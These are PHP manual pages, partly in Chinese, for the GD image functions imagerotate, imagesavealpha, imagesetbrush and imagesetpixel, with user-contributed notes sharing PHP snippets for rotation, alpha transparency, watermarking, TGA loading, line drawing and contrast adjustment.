Imagerotate apparently destroy transparency information (transparent areas turn to black). For now the only walkaround I found is to use  :

imagecolortransparent($image,imagecolorat($image,0,0));

but the result is quite awful if your original picture uses smooth transparency (which is probably the case with PNG pictures)
oflashp at bk dot ru
22-Apr-2005 09:25
standart code rotate image(only Jpeg)
<?
$r=0; //rotate
$img="254.jpg" //image
$source = imagecreatefromjpeg($img);
$img = imagerotate($source, $r, 0);
imagejpeg($img);
?>
12-Apr-2005 12:58
Just an advice for those who want to create image galleries and want to add a function to rotate pictures.

The way this here works is always to decompress the picture, rotate it and compress it again.

Therefore there _WILL_ always be a loss in quality. The more often you rotate the image the stronger the artefacts will be visible.

Also using ImageMagick, if available does not help, as it also does not support lossless JPG manipulations.

If you need a rotate function, ask your provider to install JPEGTRAN on the machine your server runs on and use the command line tool from your php application.
wulff at fyens dot dk
02-Mar-2005 05:22
I liked the rotateImageBicubic function implemented by darren at lucidtone dot com. But it just snipped off the parts of the image that were outside the original image.

I fixed this, even though I admit that my solution is a bit naive. But it might come in handy for somebody.

Also his bicubic implementation was broken on my machine so I left it out, if you need it just copy and paste it from above.

<?php

// $src_img - a GD image resource
// $angle - degrees to rotate clockwise, in degrees
// returns a GD image resource
// USAGE:
// $im = imagecreatefrompng('test.png');
// $im = imagerotate($im, 15);
// header('Content-type: image/png');
// imagepng($im);
function imageRotate($src_img, $angle, $bicubic=false) {

   // convert degrees to radians
   $angle = $angle + 180;
   $angle = deg2rad($angle);

   $src_x = imagesx($src_img);
   $src_y = imagesy($src_img);

   $center_x = floor($src_x/2);
   $center_y = floor($src_y/2);

   $cosangle = cos($angle);
   $sinangle = sin($angle);

   $corners=array(array(0,0), array($src_x,0), array($src_x,$src_y), array(0,$src_y));

   foreach($corners as $key=>$value) {
     $value[0]-=$center_x;        //Translate coords to center for rotation
     $value[1]-=$center_y;
     $temp=array();
     $temp[0]=$value[0]*$cosangle+$value[1]*$sinangle;
     $temp[1]=$value[1]*$cosangle-$value[0]*$sinangle;
     $corners[$key]=$temp;
   }

   $min_x=1000000000000000;
   $max_x=-1000000000000000;
   $min_y=1000000000000000;
   $max_y=-1000000000000000;

   foreach($corners as $key => $value) {
     if($value[0]<$min_x)
       $min_x=$value[0];
     if($value[0]>$max_x)
       $max_x=$value[0];

     if($value[1]<$min_y)
       $min_y=$value[1];
     if($value[1]>$max_y)
       $max_y=$value[1];
   }

   $rotate_width=round($max_x-$min_x);
   $rotate_height=round($max_y-$min_y);

   $rotate=imagecreatetruecolor($rotate_width,$rotate_height);
   imagealphablending($rotate, false);
   imagesavealpha($rotate, true);

   //Reset center to center of our image
   $newcenter_x = ($rotate_width)/2;
   $newcenter_y = ($rotate_height)/2;

   for ($y = 0; $y < ($rotate_height); $y++) {
     for ($x = 0; $x < ($rotate_width); $x++) {
       // rotate...
       $old_x = round((($newcenter_x-$x) * $cosangle + ($newcenter_y-$y) * $sinangle))
         + $center_x;
       $old_y = round((($newcenter_y-$y) * $cosangle - ($newcenter_x-$x) * $sinangle))
         + $center_y;

       if ( $old_x >= 0 && $old_x < $src_x
             && $old_y >= 0 && $old_y < $src_y ) {

           $color = imagecolorat($src_img, $old_x, $old_y);
       } else {
         // this line sets the background colour
         $color = imagecolorallocatealpha($src_img, 255, 255, 255, 127);
       }
       imagesetpixel($rotate, $x, $y, $color);
     }
   }

  return($rotate);
}

?>
jonathan AT sharpmedia DOT net
18-Feb-2005 02:28
This method rotates an image in 90 degree increments (eg count should be between 1 and 3) and avoids the problems of image scaling that imageRotate has...

<?php
function rotateImage($src, $count = 1, $quality = 95)
{
   if (!file_exists($src)) {
       return false;
   }

   list($w, $h) = getimagesize($src);

   if (($in = imageCreateFromJpeg($src)) === false) {
       echo "Failed create from source<br>";
       return false;
   }

   $angle = 360 - ((($count > 0 && $count < 4) ? $count : 0 ) * 90);

   if ($w == $h || $angle == 180) {
       $out = imageRotate($in, $angle, 0);
   } elseif ($angle == 90 || $angle == 270) {
       $size = ($w > $h ? $w : $h);
       // Create a square image the size of the largest side of our src image
       if (($tmp = imageCreateTrueColor($size, $size)) == false) {
           echo "Failed create square trueColor<br>";
           return false;
       }

       // Exchange sides
       if (($out = imageCreateTrueColor($h, $w)) == false) {
           echo "Failed create trueColor<br>";
           return false;
       }

       // Now copy our src image to tmp where we will rotate and then copy that to $out
       imageCopy($tmp, $in, 0, 0, 0, 0, $w, $h);
       $tmp2 = imageRotate($tmp, $angle, 0);

       // Now copy tmp2 to $out;
       imageCopy($out, $tmp2, 0, 0, ($angle == 270 ? abs($w - $h) : 0), 0, $h, $w);
       imageDestroy($tmp);
       imageDestroy($tmp2);
   } elseif ($angle == 360) {
       imageDestroy($in);
       return true;
   }

   imageJpeg($out, $src, $quality);
   imageDestroy($in);
   imageDestroy($out);
   return true;
}
?>
Borszczuk
05-Jan-2005 09:21
Here's a function that implements right angle (multiplicity of 90 degs - 90, 180, 270) rotation if you need one but lacks native imagerotate() or you don't want non-square images to be scaled down as with imagerotate(). As you probably noticed it's not self contained function, as 180 rotation is handled by ImageFlip() function to gain the performance. The ImageFlip() function used is published here: http://php.net/imagecopy in the comment of mine placed on  05-Jan-2005 04:30

Please note: that in case of 0 degrees rotation handle to imgSrc is returned which may lead to problems if you imagedestroy() it undonditionaly. To solve that you shall add imagecopy($imgDest, $imgSrc, 0,0, 0,0,$srcX, $srcY)  in proper place which I have intentionally ommited to save memory resources

<?php

// $imgSrc - GD image handle of source image
// $angle - angle of rotation. Needs to be positive integer
// angle shall be 0,90,180,270, but if you give other it
// will be rouned to nearest right angle (i.e. 52->90 degs,
// 96->90 degs)
// returns GD image handle of rotated image.
function ImageRotateRightAngle( $imgSrc, $angle )
{
   // ensuring we got really RightAngle (if not we choose the closest one)
   $angle = min( ( (int)(($angle+45) / 90) * 90), 270 );

   // no need to fight
   if( $angle == 0 )
       return( $imgSrc );

   // dimenstion of source image
   $srcX = imagesx( $imgSrc );
   $srcY = imagesy( $imgSrc );

   switch( $angle )
       {
       case 90:
           $imgDest = imagecreatetruecolor( $srcY, $srcX );
           for( $x=0; $x<$srcX; $x++ )
               for( $y=0; $y<$srcY; $y++ )
                   imagecopy($imgDest, $imgSrc, $srcY-$y-1, $x, $x, $y, 1, 1);
           break;

       case 180:
           $imgDest = ImageFlip( $imgSrc, IMAGE_FLIP_BOTH );
           break;

       case 270:
           $imgDest = imagecreatetruecolor( $srcY, $srcX );
           for( $x=0; $x<$srcX; $x++ )
               for( $y=0; $y<$srcY; $y++ )
                   imagecopy($imgDest, $imgSrc, $y, $srcX-$x-1, $x, $y, 1, 1);
           break;
       }

   return( $imgDest );
}
?>
darren at lucidtone dot com
08-Dec-2004 12:43
Here's a neat function for those of us who don't have imagerotate() on our servers.  It's based on a comment from ron at korving dot demon dot nl on the manual page for imagecopyresampled.

I'm still not 100% on coping with transparency, but this function seems to cope okay.  It doesn't resize to fit within bounds, it just rotates and you lose anything outside the image box.

The bicubic mode is slooow.

If you want to be able to change the background colour, pass in a colour and use it where indicated.  The line I used just sets it transparent.

<?
// $src_img - a GD image resource
// $angle - degrees to rotate clockwise, in degrees
// returns a GD image resource
// USAGE:
// $im = imagecreatefrompng('test.png');
// $im = imagerotate($im, 15);
// header('Content-type: image/png');
// imagepng($im);
function imageRotateBicubic($src_img, $angle, $bicubic=false) {

   // convert degrees to radians
   $angle = $angle + 180;
   $angle = deg2rad($angle);

   $src_x = imagesx($src_img);
   $src_y = imagesy($src_img);

   $center_x = floor($src_x/2);
   $center_y = floor($src_y/2);

   $rotate = imagecreatetruecolor($src_x, $src_y);
   imagealphablending($rotate, false);
   imagesavealpha($rotate, true);

   $cosangle = cos($angle);
   $sinangle = sin($angle);

   for ($y = 0; $y < $src_y; $y++) {
     for ($x = 0; $x < $src_x; $x++) {
   // rotate...
   $old_x = (($center_x-$x) * $cosangle + ($center_y-$y) * $sinangle)
     + $center_x;
   $old_y = (($center_y-$y) * $cosangle - ($center_x-$x) * $sinangle)
     + $center_y;

   if ( $old_x >= 0 && $old_x < $src_x
         && $old_y >= 0 && $old_y < $src_y ) {
     if ($bicubic == true) {
       $sY  = $old_y + 1;
       $siY  = $old_y;
       $siY2 = $old_y - 1;
       $sX  = $old_x + 1;
       $siX  = $old_x;
       $siX2 = $old_x - 1;

       $c1 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY2));
       $c2 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY));
       $c3 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY2));
       $c4 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY));

       $r = ($c1['red']  + $c2['red']  + $c3['red']  + $c4['red']  ) << 14;
       $g = ($c1['green'] + $c2['green'] + $c3['green'] + $c4['green']) << 6;
       $b = ($c1['blue']  + $c2['blue']  + $c3['blue']  + $c4['blue'] ) >> 2;
       $a = ($c1['alpha']  + $c2['alpha']  + $c3['alpha']  + $c4['alpha'] ) >> 2;
       $color = imagecolorallocatealpha($src_img, $r,$g,$b,$a);
     } else {
       $color = imagecolorat($src_img, $old_x, $old_y);
     }
   } else {
         // this line sets the background colour
     $color = imagecolorallocatealpha($src_img, 255, 255, 255, 127);
   }
   imagesetpixel($rotate, $x, $y, $color);
     }
   }
   return $rotate;
}
?>
jon at driestone dot com
07-Oct-2004 11:42
imagerotate does not preserve the alpha channel, so if you want to rotate a PNG you need to get
creative. I don't see any command to retrieve the alpha information from an image (as far as
I could see,) so you'll have to do a bit of manual labor before hand. In my case I created a
second PNG file with the alpha saved as RGB data and manually "copied" the data from source
to destination:

   function alpha_rotate($dst,$src,$rotate,$offsetX,$offsetY){

       $top = imagecreatefrompng("image_processing/shadow.png");
       $top_alpha = imagecreatefrompng("image_processing/shadow_alpha.png");

       imagecopyresampled($top,$src,0,0,0,0,100,100,100,100);

       $top = imagerotate($top,$rotate,0x000000);
       $top_alpha = imagerotate($top_alpha,$rotate,0x000000);

       for ($theX=0;$theX<imagesx($top);$theX++){
           for ($theY=0;$theY<imagesy($top);$theY++){

               $rgb = imagecolorat($top,$theX,$theY);
               $r = ($rgb >> 16) & 0xFF;
               $g = ($rgb >> 8) & 0xFF;
               $b = $rgb & 0xFF;

               $rgb = imagecolorat($top_alpha,$theX,$theY);
               $a = $rgb & 0xFF;
               $a = 127-floor($a/2);

               $myColor = imagecolorallocatealpha($top,$r,$g,$b,$a);
               imagesetpixel($dst,($theX+$offsetX),($theY+$offsetY),$myColor);
           }
       }
   }
christoph (at) raketenbasis (dot) de
04-Oct-2004 03:41
The default direction of imageRotate() is counter clockwise. Heres a little function which solves the problem.

<?php

   function rotate(&$image_source, $rotate_value, $rotate_clockwise = true) {
       if($rotate_clockwise == true) {
           $rotate_value = 360 - $rotate_value;
       }
       $image_source = imageRotate($image_source, $rotate_value, 0);
   }

?>
add a note add a note

后退 | 起点 | 前进
imagerectangle | 上一级 | imagesavealpha


imagesavealpha

(PHP 4 >= 4.3.2, PHP 5)

imagesavealpha -- 设置标记以在保存 PNG 图像时保存完整的 alpha 通道信息（与单一透明色相反）

说明

bool imagesavealpha ( resource image, bool saveflag )

imagesavealpha() 设置标记以在保存 PNG 图像时保存完整的 alpha 通道信息（与单一透明色相反）。

要使用本函数，必须将 alphablending 清位（imagealphablending($im, FALSE)）。

不是所有的浏览器都支持 alpha 通道，如果在你的浏览器上碰到问题，试着用兼容 alpha 通道的浏览器（例如最新版的 Mozilla）重新加载脚本。

注: 本函数需要 GD 2.0.1 或更高版本。

参见 imagealphablending()。

add a note add a note User Contributed Notes
doggz at mindless dot com
06-Oct-2003 12:50
To use PNG-24 in IE 5.5+ try:
<img alt="Transparant PNG" src="myimage.gif" style="width: 200px; height: 200px; filter:progid:
DXImageTransform.Microsoft.AlphaImageLoader(src='myimage.png', sizingMethod='scale')" />

there is more info available at http://people.brandeis.edu/~peelle/png/
add a note add a note

后退 | 起点 | 前进
imagerotate | 上一级 | imagesetbrush


imagesetbrush

(PHP 4 >= 4.0.6, PHP 5)

imagesetbrush -- 设定画线用的画笔图像

说明

bool imagesetbrush ( resource image, resource brush )

当用特殊的颜色 IMG_COLOR_BRUSHED 或 IMG_COLOR_STYLEDBRUSHED 绘画时，imagesetbrush() 设定了所有画线的函数（例如 imageline() 和 imagepolygon()）所使用的画笔图像。【注：使用画笔图像，所画的线是由 brush 所代表的图像构成的。请参考并尝试运行 imagesetstyle() 中的例子以帮助理解。】

注: 使用完画笔图像后不需要采取什么特殊动作。但如果销毁了画笔图像，在设定一个新的画笔图像之前不能使用 IMG_COLOR_BRUSHED 或 IMG_COLOR_STYLEDBRUSHED！

注: 本函数是 PHP 4.0.6 添加的。

add a note add a note User Contributed Notes
dannie at mapmechanics dot com
18-Mar-2003 11:54
windows users (4.3.1 php):
Make sure you have the latest php_gd2.dll (snap.php.net) otherwise you will get an error saying that the function is not defined
add a note add a note

后退 | 起点 | 前进
imagesavealpha | 上一级 | imagesetpixel


imagesetpixel

(PHP 3, PHP 4, PHP 5)

imagesetpixel -- 画一个单一像素

说明

bool imagesetpixel ( resource image, int x, int y, int color )

imagesetpixel() 在 image 图像中用 color 颜色在 x，y 坐标（图像左上角为 0，0）上画一个点。

参见 imagecreatetruecolor() 和 imagecolorallocate()。

add a note add a note User Contributed Notes
zehao dot chang at gmail dot com
07-Apr-2006 04:00
Here's my stab at the imagecreatefromtga function. I used code from send at mail dot 2aj dot net and others below as a basis, and added support for targa 16, targa 24 and targa 32. However, I only support uncompressed RBG data type as that's the only one I need. (I removed the return_array feature since you can simply use imagesx() and imagesy() to get the image size).

Please note that I have not tested this with a targa 16 since I don't have one handy at the moment.

<?php

function imagecreatefromtga( $filename )
{
   $handle = fopen( $filename, 'rb' );
   $data = fread( $handle, filesize( $filename ) );
   fclose( $handle );

   // Extract header information
   $string_length = base_convert( bin2hex( substr($data,1,1) ), 16, 10 );
   $data_type = base_convert( bin2hex( substr($data,2,1) ), 16, 10 );
   $width = base_convert( bin2hex( strrev( substr($data,12,2) ) ), 16, 10 );
   $height = base_convert( bin2hex( strrev( substr($data,14,2) ) ), 16, 10 );
   $bits_per_pixel = base_convert( bin2hex( substr($data,16,1) ), 16, 10 );

   // Currenly I'm only supporting RGB Data type
   switch( $data_type )        // Header information taken from http://astronomy.swin.edu.au/~pbourke/dataformats/tga/
   {
       case 2:        // Uncompressed RGB image
           break;
       case 0:        // No attached image data
       case 1:        // Uncompressed color-mapped image
       case 3:        // Uncompressed black and white image
       case 9:        // Runlength encoded color-mapped image
       case 10:    // Runlength encoded RGB image
       case 11:    // Compressed black and white image
       case 32:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding
       case 33:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding.  4-pass quadtree-type process
       default:
           return NULL;    // No support for any of these types
   }

   // Compute things we need from the header information
   $pointer = 18 + $string_length;
   $bytes_per_pixel = (int) $bits_per_pixel/8;
   $x = 0;  $y = $height;

   $image = imagecreatetruecolor($width, $height);

   while ( $pointer < strlen($data) )
   {
       if( $bytes_per_pixel == 2 )            // TARGA 16 - ARRRRRGG GGGBBBBB
       {
           $low_byte = bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel)));
           $high_byte = bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel)));
           $r = base_convert( ($high_byte & 0x7C)>>2, 16, 10);
           $g = base_convert( (($high_byte & 0x03)<<3) | (($low_byte & 0xE0)>>5), 16, 10);
           $b = base_convert( $low_byte & 0x1F, 16, 10);
           imagesetpixel( $image, $x, $y, $r<<16 | $g<<8 | $b);
       }
       else if( $bytes_per_pixel == 3 )    // TARGA 24 - RRRRRRRR GGGGGGGG BBBBBBBB
       {
           imagesetpixel( $image, $x, $y, base_convert( bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel))), 16, 10));
       }
       else if( $bytes_per_pixel == 4 )    // TARGA 32 - AAAAAAAA RRRRRRRR GGGGGGGG BBBBBBBB
       {
           imagesetpixel( $image, $x, $y, base_convert( bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel-1))), 16, 10));
       }

       if(++$x == $width)
       {
           $y--;
           $x=0;
       }
       $pointer += $bytes_per_pixel;
   }

   return $image;
}

?>
T. Dekker
01-Dec-2005 06:53
In reply to weitheism at gmail.com:

You should probably have used ImageAlphaBlending($image, false); in your early attempts. This way any paint/fill operation replaces the alpha value of the destination.
Brian Vaughn [php at boynamedbri dot com]
29-Aug-2005 03:00
I looked, but was unable to find any example code to watermark an image with a watermark that contained alpha transparency. So the following class does just that. As a parameter, it takes 2 image objects: the main image, and the watermark image (which can be a gif, png, whatever) - and optionally, an alpha setting (0-100% alpha for the watermark image). It then creates and returns a new image with the alpha-transparent watermark imposed, center-aligned, over the larger image.

<?php
class watermark{

   function create_watermark( $dst_img, $watermark_img, $alpha = 100 ) {
       $alpha    /= 100;    # convert 0-100% user-friendly alpha to decimal

       # calculate our images dimensions
       $dst_img_w    = imagesx( $dst_img );
       $dst_img_h    = imagesy( $dst_img );
       $watermark_img_w    = imagesx( $watermark_img );
       $watermark_img_h    = imagesy( $watermark_img );

       # create new image to hold merged changes
       $return_img    = imagecreatetruecolor( $dst_img_w, $dst_img_h );
#        $return_img    = imagecreate( $dst_img_w, $dst_img_h );

       # determine center position coordinates
       $dst_img_min_x    = floor( ( $dst_img_w / 2 ) - ( $watermark_img_w / 2 ) );
       $dst_img_max_x    = ceil( ( $dst_img_w / 2 ) + ( $watermark_img_w / 2 ) );
       $dst_img_min_y    = floor( ( $dst_img_h / 2 ) - ( $watermark_img_h / 2 ) );
       $dst_img_max_y    = ceil( ( $dst_img_h / 2 ) + ( $watermark_img_h / 2 ) );

       # walk through main image
       for( $y = 0; $y < $dst_img_h; $y++ ) {
           for( $x = 0; $x < $dst_img_w; $x++ ) {
               $return_color    = NULL;

               # determine the correct pixel location within our watermark
               $watermark_x    = $x - $dst_img_min_x;
               $watermark_y    = $y - $dst_img_min_y;

               # fetch color information for both of our images
               $dst_rgb = imagecolorsforindex( $dst_img, imagecolorat( $dst_img, $x, $y ) );

               # if our watermark has a non-transparent value at this pixel intersection
               # and we're still within the bounds of the watermark image
               if (    $watermark_x >= 0 && $watermark_x < $watermark_img_w &&
                           $watermark_y >= 0 && $watermark_y < $watermark_img_h ) {
                   $watermark_rbg = imagecolorsforindex( $watermark_img, imagecolorat( $watermark_img, $watermark_x, $watermark_y ) );

                   # using image alpha, and user specified alpha, calculate average
                   $watermark_alpha    = round( ( ( 127 - $watermark_rbg['alpha'] ) / 127 ), 2 );
                   $watermark_alpha    = $watermark_alpha * $alpha;

                   # calculate the color 'average' between the two - taking into account the specified alpha level
                   $avg_red        = $this->get_ave_color( $dst_rgb['red'],        $watermark_rbg['red'],        $watermark_alpha );
                   $avg_green    = $this->get_ave_color( $dst_rgb['green'],    $watermark_rbg['green'],    $watermark_alpha );
                   $avg_blue        = $this->get_ave_color( $dst_rgb['blue'],    $watermark_rbg['blue'],        $watermark_alpha );

                   # calculate a color index value using the average RGB values we've determined
                   $return_color    = $this->imagegetcolor( $return_img, $avg_red, $avg_green, $avg_blue );

               # if we're not dealing with an average color here, then let's just copy over the main color
               } else {
                   $return_color    = imagecolorat( $dst_img, $x, $y );

               } # END if watermark

               # draw the appropriate color onto the return image
               imagesetpixel( $return_img, $x, $y, $return_color );

           } # END for each X pixel
       } # END for each Y pixel

       # return the resulting, watermarked image for display
       return $return_img;

   } # END create_watermark()

   # average two colors given an alpha
   function get_ave_color( $color_a, $color_b, $alpha ) {
       return round( ( ( $color_a * ( 1 - $alpha ) ) + ( $color_b    * $alpha ) ) );
   } # END get_ave_color()

   # return closest pallette-color match for RGB values
   function imagegetcolor($im, $r, $g, $b) {
       $c=imagecolorexact($im, $r, $g, $b);
       if ($c!=-1) return $c;
       $c=imagecolorallocate($im, $r, $g, $b);
       if ($c!=-1) return $c;
       return imagecolorclosest($im, $r, $g, $b);
   } # EBD imagegetcolor()

} # END watermark API
?>
weitheism at gmail.com
09-Aug-2005 03:22
I was looking for a way to actually DELETE pixels or squares or parts of an image from an image resource, and at first I thought imagesetpixel would do the trick. Unfortunately, it merely paints over that one pixel, and as far as I knew, php didn't have any native way of deleting sections out of your image - so this little method should take care of deleting rectangular parts of your pictures!

function deleteRectangle(&$oldImage,$leftX,$leftY,$rightX,$rightY)
   {
       // Since php has no native way of delete parts of images
       // We have to divide the image into four different parts and then copy them manually to a new
       // image

       $xSize = imagesx($oldImage);
       $ySize = imagesy($oldImage);

       // Divides the image into four sections to copy
       $imagesection = array();
       $imagesection[] = array(0,0,$leftX,$ySize);
       $imagesection[] = array($leftX,0,$rightX+1,$leftY);
       $imagesection[] = array($leftX,$rightY+1,$rightX+1,$ySize);
       $imagesection[] = array($rightX+1,0,$xSize,$ySize);

       // Create the new, copied image
       $newImage = imagecreatetruecolor($xSize,$ySize);
       // Vital for transparency
       imagesavealpha($newImage,true);

       // Fills the background a transparent color
       $transparentBackground = imagecolorallocatealpha($newImage,255,255,255,127);
       imagefill($newImage,0,0,$transparentBackground);

       // Copies each of the four imagesections into their respective old positions
       for($i = 0;$i<count($imagesection);$i++)
imagecopyresampled($newImage,$oldImage, $imagesection[$i][0],$imagesection[$i][1], $imagesection[$i][0],$imagesection[$i][1], $imagesection[$i][2]-$imagesection[$i][0], $imagesection[$i][3]-$imagesection[$i][1], $imagesection[$i][2]-$imagesection[$i][0], $imagesection[$i][3]-$imagesection[$i][1]);

       // Alternately you can cycle through each pixel in an image and see if that pixel is an the area
       // but that could be more intensive
       imagedestroy($oldImage);

       // Sets the old image equal to the new, cleared image
       $oldImage = $newImage;
   }

It was made with a transparent background in mind, but you could easily change that by changeing imagecreatetruecolor to imagecreate and deleting the code that deals with transparency. Hope it helps!
d [AT] sprid [DOT] de
14-Jul-2005 05:28
This code does generate a RGB-cube (with or without borders). Because its only rendering the visible pixels its clearly fast (approx 1 up to 2 seconds). With changing the $order-variable you can see the cube from different perspectives. Entering double or tribble values (like rrg or ggg) will give you other specs of single channels. Send any sugestions to my email.

<?php
$borders = true;
$order  = 'rgb';

set_time_limit(0);
$img = imageCreateTrueColor(510, 510);

$bg = imageColorAllocate($img, 255, 255, 255);
$black = imageColorAllocate($img, 255, 255, 255);

for ($r=0; $r<256; $r++) {
  for ($g=0; $g<256; $g++) {
   for ($b=0; $b<256; $b++) {
     $rN = ${$order{0}};
     $gN = ${$order{1}};
     $bN = ${$order{2}};

     $col = imageColorAllocate($img, $rN, $gN, $bN);
     imagesetpixel($img, $b+($r*0.5)+(255/4), $g+($r*0.5)+(255/4), $col);
     if ($r < 255 && $g > 0) break;
   }
  }

  if ($borders) {
   imagesetpixel($img, ($r*0.5+(255/4)), ($r*0.5)+(255/4),    $black);
   imagesetpixel($img, ($r*0.5)+255+(255/4), ($r*0.5)+(255/4), $black);
   imagesetpixel($img, ($r*0.5)+(255/4), ($r*0.5)+255+(255/4), $black);
  }
}

if ($borders) {
  imageline($img, 255/4, 255/4, 255+(255/4), 255/4, $black);
  imageline($img, 255/4, 255/4, 255/4, 255+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
  imageline($img, 255*0.5 + 509*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
}

header("Content-Type: image/png");
imagepng($img);
imagedestroy($img);
?>
bpgordon at gmail dot com
24-May-2005 06:18
This code converts a block of text to an image so that each character in the block defines one pixel in the image and each line in the block (delimited by \n's) builds one whole row of pixels in the image.
Usage: Place a 0 to create a white pixel. Place a 1 to create a black pixel.
Example: Entering the following digits (including the line breaks) will create a 3x3 square with a 1-pixel white border.
00000
01110
01110
01110
00000

<?php
if (isset($_POST["sendtxt"])) {
header("Content-type: image/png");
$splitted = explode("\n", $_POST["sendtxt"]);
foreach ($splitted as $tcurkey => $curval) $tsplitted[$tcurkey] = rtrim($curval);
$splitted = $tsplitted; //referencing isn't working for some reason...
$image = imagecreate(strlen($splitted[1]), count($splitted));
$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF); // don't delete this line
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);
foreach($splitted as $curkey => $opelement) {
$subsplitten = preg_split("//", $opelement);
foreach($subsplitten as $subcurkey => $subopelement) {
if ($subopelement == "1" || $subopelement == ".") imagesetpixel($image, $subcurkey-1, $curkey, $black);
}
}
imagepng($image);
imagedestroy($image);
} else {
echo <<<end
<table width="1" border="0"><td>
<form method="post" action="#">
<textarea cols="30" rows="7" name="sendtxt"></textarea><br>
<input type="submit" value="render">
</form></td></table>
end; }
?>
odin<spam inside(C)>dtdm.org
05-Oct-2004 08:36
Just a simple implementation of the Bresenham algorythm (educational purpose....)

You can find more about this and many other tutorials for gfx there: http://brand107.home.comcast.net/pc-gpe/

<?php

/****************************************************
     Bresenham Line Algorythm PHP/GD implementation
****************************************************/
function line($im,$x1,$y1,$x2,$y2,$color){

   $deltax=abs($x2-$x1);
   $deltay=abs($y2-$y1);

   if ($deltax>$deltay) {
     $numpixels=$deltax+1;
     $d=(2*$deltay)-$deltax;
     $dinc1=$deltay << 1; $dinc2=($deltay-$deltax) << 1;
     $xinc1=1; $xinc2=1;
     $yinc1=0; $yinc2=1;
   } else {
     $numpixels=$deltay+1;
     $d=(2*$deltax)-$deltay;
     $dinc1=$deltax << 1; $dinc2=($deltax-$deltay)<<1;
     $xinc1=0; $xinc2=1;
     $yinc1=1; $yinc2=1;
   }

   if ($x1>$x2) {
     $xinc1=-$xinc1;
     $xinc2=-$xinc2;
   }

   if ($y1>$y2) {
     $yinc1=-$yinc1;
     $yinc2=-$yinc2;
   }
   $x=$x1;
   $y=$y1;

   for ($i=0;$i<$numpixels;$i++) {
     imagesetpixel($im,$x,$y,$color);
     if ($d<0) {
     $d+=$dinc1;
     $x+=$xinc1;
     $y+=$yinc1;
     } else {
     $d+=$dinc2;
     $x+=$xinc2;
     $y+=$yinc2;
     }
   }
return ;
}

?>
richard at mf2fm dot co dot uk
24-Aug-2004 05:06
Here is a function that takes an image ($im) and returns it with the contrast maximised...

<?php
function contrast($im) {
   $brightness=0;
   $maxb=0;
   $minb=255;
   $imagesize=getimagesize($im);
   $w=$imagesize[0];
   $h=$imagesize[1];
   for ($x=0; $x<$w; $x++) {
       for ($y=0; $y<$h; $y++) {
           $rgb=imagecolorat($im, $x, $y);
           $rgb=imagecolorsforindex($im, $rgb);
           $grey=0.2125*$rgb['red']+
               0.7154*$rgb['green']+
               0.0721*$rgb['blue'];
           $brightness+=$grey;
           if ($grey>$maxb) $maxb=$grey;
           if ($grey<$minb) $minb=$grey;
       }
   }
   $brightness=$brightness/($w*$h);
   $minb=$brightness/($brightness-$minb);
   $maxb=(255-$brightness)/($maxb-$brightness);
   $contrast=min($minb, $maxb);
   for ($x=0; $x<$w; $x++) {
       for ($y=0; $y<$h; $y++) {
           $rgb=imagecolorat($im, $x, $y);
           $rgb=imagecolorsforindex($im, $rgb);
           imagesetpixel($im, $x, $y,
               65536*floor(min($rgb['red']*$contrast, 255))+
               256*floor(min($rgb['green']*$contrast, 255))+
               floor(min($rgb['blue']*$contrast, 255)));
       }
   }
   return ($im);
}
?>

An example of usage might be:
<?php
$imagefile="/path/filename";
$image=imagecreatefromjpeg($imagefile);
$image=contrast($image);
imagejpeg($image, $imagefile);
?>
chris at drunkenpirates dot co dot uk
14-Sep-2003 08:50
<?php

/*
An example combining the use of ImageColorAllocate, Imagesetpixel, Imagecopyresized and some basic Trig

By chris@drunkenpirates.co.uk

*/

Header("Content-type: image/png");

$height = 128;
$width = 128;

$imA = ImageCreate($width, $height);
$imB = ImageCreate($width*4, $height*4);
$bckA = ImageColorAllocate($imA, 0,0,0);
$bckB = ImageColorAllocate($imB, 0,0,0);

//GENERATE GRAY SCALE PALLETE

for($c=0;$c<256;$c++){
               ImageColorAllocate($imA, $c, $c, $c);
               }

//PRODUCE DATA

$m=rand(0,10);
for($c=0;$c<128;$c++){
               $s=  (sin( deg2rad($c*360*$m/128) )+1)*127;
               $col_arr[$c]=$s;
               }
for($y=0;$y<$height;$y++){
       for($x=0;$x<$width;$x++){
               $imgA[$x][$y]=$col_arr[$x];
               }
       }
for($y=0;$y<$height;$y++){
       for($x=0;$x<$width;$x++){
               $imgB[$x][$y]=$col_arr[$y];
               }
       }

//SET PIXELS

for($y=0;$y<$height;$y++){
       for($x=0;$x<$width;$x++){
               $imgC[$x][$y]=$imgA[$x][$y]+$imgB[$x][$y];
               $s=$imgC[$x][$y]/2;
               Imagesetpixel($imA,$x,$y,$s);
               }
       }

//RESIZE IMAGE FOR DISPLAY

Imagecopyresized ($imB, $imA, 0, 0, 0, 0, $width*4, $height*4, $width, $width);
ImagePNG($imB);
?>
dino at nordmark dot dk
31-May-2002 07:28
The example above diden't work, because of some errors.
This should work and it's also faster because there is only one 512*512 loop. (but it is still very slow)

<?
$filename="lena.raw";
$width=512;
$height=512;
$fp=fopen($filename, "r");
$contents=fread($fp,filesize($filename));
fclose($fp);

$image=imagecreate($width,$height);

// create greyscale palette because the image is limited to 256 colors
for ($i=0;$i<256;$i++){ ImageColorAllocate($image,$i,$i,$i);}

// This is slow, but probably the only way
for ($i=0;$i<512;$i++){
   for ($j=0;$j<512;$j++){
   imagesetpixel ($image,$i,$j,ord($contents[$i+$j*512]));
   }
}

imagepng($image,"result.png");
imagedestroy($image);

